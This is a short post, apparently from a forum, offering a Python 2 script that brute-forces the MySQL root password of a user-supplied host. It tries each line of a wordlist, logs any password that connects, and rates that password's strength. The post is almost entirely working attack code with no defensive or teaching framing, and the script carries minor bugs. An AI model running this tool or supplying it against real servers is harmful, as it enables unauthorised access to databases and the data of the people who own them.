Bruteforce a mysql database with dictonnary

Code:
#!/usr/bin/env python
#RUN WITH python bruteforcedb.py dictionnarytouse

import MySQLdb
import sys
import time
import re

dictionnaire=str(sys.argv[1]) #grabbing the dictionnary in argument
nb_dic=len(sys.argv) #grabbing argument number

if nb_dic == 1:
        print("You must give a dictionnary in argument")
if nb_dic == 2:
        print ("Dictionnary used: "+dictionnaire)
if nb_dic > 2:
        print ("You must give only one dictionnary in argument")

t0 = time.clock() #taking time
save=open("log.txt","wa") #Openning log file

with open(dictionnaire) as f:
        host=raw_input("Host: ")
        for line in f:
                pass_test=line.rstrip("\r\n") #deleting line jumping
                try:
                        lien_db=MySQLdb.connect(host=host, user="root", passwd=pass_test) #trying to connect to DB
                        pass_test=pass_test #taking tested password
                        cursor=lien_db.cursor()
                        cursor.execute("SELECT VERSION()") #if connection is OK we take version number
                        data_ver=cursor.fetchone()
                        if data_ver is not None: #if we have a version number we keep the used password
                                save.write("Password found: "+pass_test+"\n")
                                lien_db.close()
                                break

                except:
                        pass

t1 = time.clock() #taking time
time_ex=t1-t0 #how many time was used ?

save.write("Execution time: "+str(time_ex)+" seconds\n") #writing execution time to log

def StrengtPassword(password): #Testing password strengt
        strength = ['Nulle','Very Low','Low','Medium', 'Strong', 'Very Strong']
        score = 1

        if len(password) < 1:
                return strength[0]
        if len(password) < 4:
                return strength[1]

        if len(password) >=8:
                score = score + 1
        if len(password) >=10:
                score = score + 1

        if re.search('[a-z]',password) and re.search('[A-Z]',password):
                score = score + 1
        if re.search('[a-z]',password) and re.search('[A-Z]',password) and re.search('[0-9]',password):
                score = score + 1

        return strength[score]

save.write("Password complexity: "+StrengtPassword(pass_test)+"\n") #Writing in log
save.write("Closing file") #Writing in log
save.close() #Closing log file

result=open("log.txt","r") #print results
showresult=result.read()
print (showresult)